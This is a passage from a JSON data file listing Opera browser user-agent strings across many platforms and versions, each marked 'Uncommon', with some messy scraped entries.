OPR\\/52.0.2871.37\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2832.2 Safari\\/537.36 OPR\\/41.0.2349.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36 OPR\\/33.0.1990.115\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Opera\\/8.00 (Windows NT 5.1; U; en)\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36 OPR\\/35.0.2066.92\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.10.229 Version\\/11.61\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.89 Safari\\/537.36 OPR\\/28.0.1750.48 (Edition Campaign 16)\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2376.0 Safari\\/537.36 OPR\\/31.0.1857.0\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36 OPR\\/37.0.2178.41\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2096.0 Safari\\/537.36 OPR\\/25.0.1583.1 (Edition Developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.65 Safari\\/537.36 OPR\\/26.0.1656.32\"},{\"commonality\":\"Uncommon\",\"version\":\"45.1\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.141 Safari\\/537.36 OPR\\/45.1.2246.125351\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36 OPR\\/40.0.2308.81\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Android 4.1.1; Linux; Opera Tablet\\/ADR-1301080958) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36 OPR\\/38.0.2220.29\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.95 Safari\\/537.36 OPR\\/15.0.1147.153\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36 OPR\\/35.0.2066.92\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.2510.857\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.991\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.39.18 (HITACHI, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36 OPR\\/37.0.2178.41\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.0; U; nl) Presto\\/2.10.229 Version\\/11.64\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.2743.82 Safari\\/537.36 OPR\\/39.0.2256.43\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.517\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.152 Safari\\/537.36 OPR\\/29.0.1795.60 (Edition Campaign 34)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Opera\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Opera\\/6.0 (Windows 2000; U) [fr]\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2178.43\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.63 (Windows NT based; U; en) Presto\\/2.1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.50\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.2.2; A52+ Build\\/JDQ39) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.81 Mobile Safari\\/537.36 OPR\\/28.0.1764.90386\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; TECNO-W3 Build\\/MRA58K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.125 Mobile Safari\\/537.36 OPR\\/43.0.2246.121183\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36 OPR\\/37.0.2178.54\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64; U; fr) Presto\\/2.9.168 Version\\/11.50\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Linux armv6l; Opera TV Store\\/4563; U; (SonyBDP\\/BDV12); en) Presto\\/2.10.250 Version\\/11.60\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; U; en) Presto\\/2.10.289 Version\\/12.01\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.888\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux i686) Presto\\/2.12.407 Version\\/12.51\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36 OPR\\/40.0.2308.90\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36 OPR\\/51.0.2830.34\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.35\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36 OPR\\/32.0.1948.69\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows ME) Opera 7.11  [en]\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36 OPR\\/33.0.1990.58\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36 OPR\\/52.0.2871.30\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Win64; x64) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1449\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.35\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.991\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.95 Safari\\/537.36 OPR\\/15.0.1147.153\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.130 Safari\\/537.36 OPR\\/31.0.1890.0 OMI\\/4.6.1.40.Dominik2.157 VSTVB MB100 FVC\\/1.0 (HITACHI; MB110; 2.18.3.0) HbbTV\\/1.3.1 (; HITACHI; MB110; 2.18.3.0; ;) SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.34.18 (DIGIHOME, Mxl661LG32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.0; ) Opera UNTRUSTED\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36 OPR\\/33.0.1990.43\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.78 Safari\\/537.36 OPR\\/30.0.1856.93524\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36 OPR\\/42.0.2393.85\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.6.8) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36 OPR\\/36.0.2130.32 (Edition Campaign 70)\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.635\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.41\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36 OPR\\/48.0.2685.32\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.39\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1144\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1159\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36 OPR\\/43.0.2442.806\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36 OPR\\/33.0.1990.115\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; Edition DriverPack; en) Presto\\/2.10.229 Version\\/11.61\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36 OPR\\/36.0.2130.46\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.39\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (MTK; Nucleus; Opera Mobi\\/2167; U; en-US) Presto\\/2.4.18 Version\\/10.00\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.71\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.52 Safari\\/537.36 OPR\\/31.0.1889.50 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.0(x11;Linux x86_64;U Linux Mint; en) Presto\\/2.2.15 Version\\/12.0\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2700.0 Safari\\/537.36 OPR\\/38.0.2213.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.14 Safari\\/537.36 OPR\\/17.0.1246.0 (Edition Developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36 OPR\\/43.0.2442.806\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.81 Safari\\/537.36 OPR\\/30.0.1835.59 (Edition Campaign 16)\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.125 Safari\\/537.36 OPR\\/30.0.1835.88 (Edition Campaign 67)\"},{\"commonality\":\"Uncommon\",\"version\":\"9.5\",\"ua\":\"Opera\\/9.5 (Microsoft Windows; PPC; Opera Mobi; U) SonyEricssonX1i\\/R2AA Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux i686) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36 OPR\\/36.0.2130.70\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; U; fr) Presto\\/2.10.289 Version\\/12.02\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.10.229 Version\\/11.60\"},{\"commonality\":\"Uncommon\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/34.0.1847.116 Safari\\/537.36 OPR\\/21.0.1437.74904\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1) Presto\\/2.12.388 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36 OPR\\/40.0.2308.62\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"http:\\/\\/myip.ms\\/view\\/comp_browseragents\\/795675\\/Opera_9_80_Windows_NT_6_2_Win64_x64_Presto_2_12_Version_12_16.html\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.0; U; en) Presto\\/2.10.289 Version\\/12.02\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36 OPR\\/43.0.2442.806\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.52 Safari\\/537.36 OPR\\/15.0.1147.130\"},{\"commonality\":\"Uncommon\",\"version\":\"36.2\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36 OPR\\/36.2.2126.102826\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36 OPR\\/33.0.1990.115\"},{\"commonality\":\"Uncommon\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.114 Safari\\/537.36 OPR\\/22.0.1471.50\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.130 Safari\\/537.36 OPR\\/31.0.1890.0 OMI\\/4.6.1.40.Dominik2.157 VSTVB MB100 FVC\\/1.0 (JVC; MB110; 2.18.2.0) HbbTV\\/1.3.1 (; JVC; MB110; 2.18.2.0; ;) SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.59 Safari\\/537.36 OPR\\/26.0.1656.87080\"},{\"commonality\":\"Uncommon\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; TECNO-Y4 Build\\/KOT49H; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Mobile Safari\\/537.36 OPR\\/21.0.2254.111757\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto\\/2.8.131 Version\\/11.11\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.42\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; Edition MTN_SouthAfrica; en) Presto\\/2.10.229 Version\\/11.60\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.69 Safari\\/537.36 OPR\\/27.0.1689.44 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/34.0.1847.132 Safari\\/537.36 OPR\\/21.0.1432.67 (Edition Campaign 38)\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.82 Safari\\/537.36 OPR\\/29.0.1795.41\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1449\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36 OPR\\/41.0.2353.46\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Win64; x64; Edition Yx) Presto\\/2.12.388 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36 OPR\\/41.0.2353.69\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; fr) Presto\\/2.10.289 Version\\/12.02\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.812\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Linux mips; U; HbbTV\\/1.1.1 (; Philips; ; ; ; ) CE-HTML\\/1.0 NETTV\\/4.0.2; en) Presto\\/2.10.250 Version\\/11.60\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB95\\/3.6.3.J (BUSH, Si2157LG32, wireless)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; U; ; en) Presto\\/2.10.287 Version\\/12.00 HbbTV\\/1.1.1 (; Vestel; MB95; 1.0; 1.0;)\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.47\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36 OPR\\/32.0.1948.69\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.812\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Linux; Andr0id 6.0.1; BRAVIA 2015 Build\\/MMB29V.S43) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36 OPR\\/32.0.2036.0 OMI\\/4.6.4.42.E103250.101\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36 OPR\\/32.0.1948.25\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.39\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 